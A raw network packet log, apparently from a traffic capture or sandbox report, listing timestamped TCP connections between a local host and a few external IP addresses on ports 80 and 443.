Dec 23, 2024 08:40:09.087163925 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.088525057 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.088584900 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.088660955 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.092317104 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.092330933 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.092649937 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.095868111 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.095949888 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.096044064 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.099428892 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.099509001 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.099554062 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.102931023 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.102973938 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.103034973 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.106374025 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.106426954 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.106477976 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.109781981 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.109836102 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.109863043 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.113121033 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.113212109 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.113220930 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.116494894 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.116636992 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.116677999 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.119927883 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.119997025 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.120043993 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.123709917 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.123825073 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.123888016 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.126712084 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.126813889 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.126874924 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.130090952 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.130187988 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.130220890 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.131789923 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:09.131844044 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:09.131896019 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:09.133451939 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.133559942 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.133605003 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.134188890 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:09.134207964 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:09.136852026 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.136908054 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.136919975 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.140233040 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.140295982 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.140331030 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.143603086 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.143677950 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.143697977 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.146984100 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.147042990 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.147093058 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.150372982 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.150443077 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.150490046 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.153723955 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.153871059 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.153887987 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.157099962 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.157159090 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.157212019 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.160538912 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.160633087 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.160635948 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.163886070 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.163994074 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.164072037 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.167298079 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.167376995 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.167426109 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.170677900 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.170717001 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.170754910 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.174021006 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.174071074 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.174105883 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.177433968 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.177486897 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.177562952 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.180821896 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.180885077 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.180931091 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.184166908 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.184247971 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.184278011 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.187571049 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.187668085 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.187709093 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.190943956 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.190993071 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.191040039 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.194298029 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.194353104 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.194434881 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.197683096 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.197778940 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.197782993 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.201088905 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.201111078 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.201172113 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.204432011 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.204484940 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.204534054 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.207818985 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.207865953 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.207923889 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.211221933 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.211287975 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.211323977 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.293936014 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.294068098 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.294091940 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.295161009 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.295211077 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.295305967 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.297626972 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.297677994 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.297720909 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.300085068 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.300170898 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.300215960 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.302542925 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.302645922 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.302648067 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.304946899 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.304996967 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.305013895 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.307331085 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.307373047 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.307415962 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.309660912 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.309732914 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.309781075 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.311983109 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.312063932 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.312119007 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.314302921 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.314383984 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.314407110 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.316607952 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.316705942 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.316768885 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.318900108 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.318948030 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.319005013 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.321096897 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.321175098 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.321208000 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.323301077 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.323452950 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.323487997 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.323522091 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.323839903 CET	49790	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.323853016 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.324258089 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.325431108 CET	49790	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.325540066 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.325558901 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.325691938 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.325695992 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.327723026 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.327801943 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.327801943 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.329833984 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.329905987 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.329905987 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.332011938 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.332075119 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.332279921 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.334073067 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.334146976 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.334172010 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.334330082 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.334573030 CET	49791	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.334592104 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.334789038 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.335880995 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.335906982 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.335983992 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.336184025 CET	49789	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.336194992 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.336206913 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.336253881 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.336316109 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.336359024 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.336666107 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.337013960 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.337074041 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.337368965 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.337502956 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.337516069 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.338012934 CET	49791	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.338090897 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.338089943 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.338383913 CET	49789	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.338443041 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.338557959 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.338645935 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.338685989 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.338785887 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.338869095 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.339024067 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.339087009 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.339806080 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.339848042 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.339890003 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.341012001 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.341073990 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.341123104 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.341384888 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.342211008 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.342259884 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.342343092 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.343333006 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.343410015 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.343458891 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.343472004 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.343499899 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.344643116 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.344747066 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.344794035 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.345853090 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.345916033 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.345962048 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.347068071 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.347120047 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.347172976 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.348268032 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.348319054 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.348412037 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.349508047 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.349549055 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.349595070 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.350677967 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.350725889 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.350863934 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.351895094 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.351943016 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.351998091 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.353096962 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.353176117 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.353193045 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.354286909 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.354425907 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.354444027 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.355490923 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.355609894 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.355623960 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.356703997 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.356784105 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.356815100 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.357913017 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.358030081 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.358046055 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.359141111 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.359235048 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.359296083 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.360388994 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.360434055 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.360466003 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.361532927 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.361586094 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.361604929 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.362754107 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.362843990 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.362857103 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.363949060 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.364003897 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.364092112 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.365176916 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.365271091 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.365276098 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.366370916 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.366420031 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.366563082 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.367602110 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.367662907 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.367697001 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.368812084 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.368865967 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.368912935 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.370002031 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.370059967 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.370137930 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.371206045 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.371258974 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.371299028 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.372416973 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.372469902 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.372534037 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.373706102 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.373764992 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.373794079 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.374818087 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.374901056 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.374944925 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.376455069 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.376498938 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.376568079 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.377319098 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.377376080 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.377422094 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.378552914 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.378595114 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.378606081 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.379698038 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.379751921 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.473721981 CET	49790	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.473733902 CET	49791	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.473733902 CET	49789	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.473822117 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.473838091 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.473853111 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.485928059 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.486140966 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.486207962 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.486491919 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.486583948 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.486639023 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.487406969 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.487562895 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.487673998 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.488639116 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.488806009 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.488858938 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.489840031 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.489959955 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.490034103 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.491055012 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.491102934 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.491345882 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.492167950 CET	80	49780	139.99.188.124	192.168.2.9
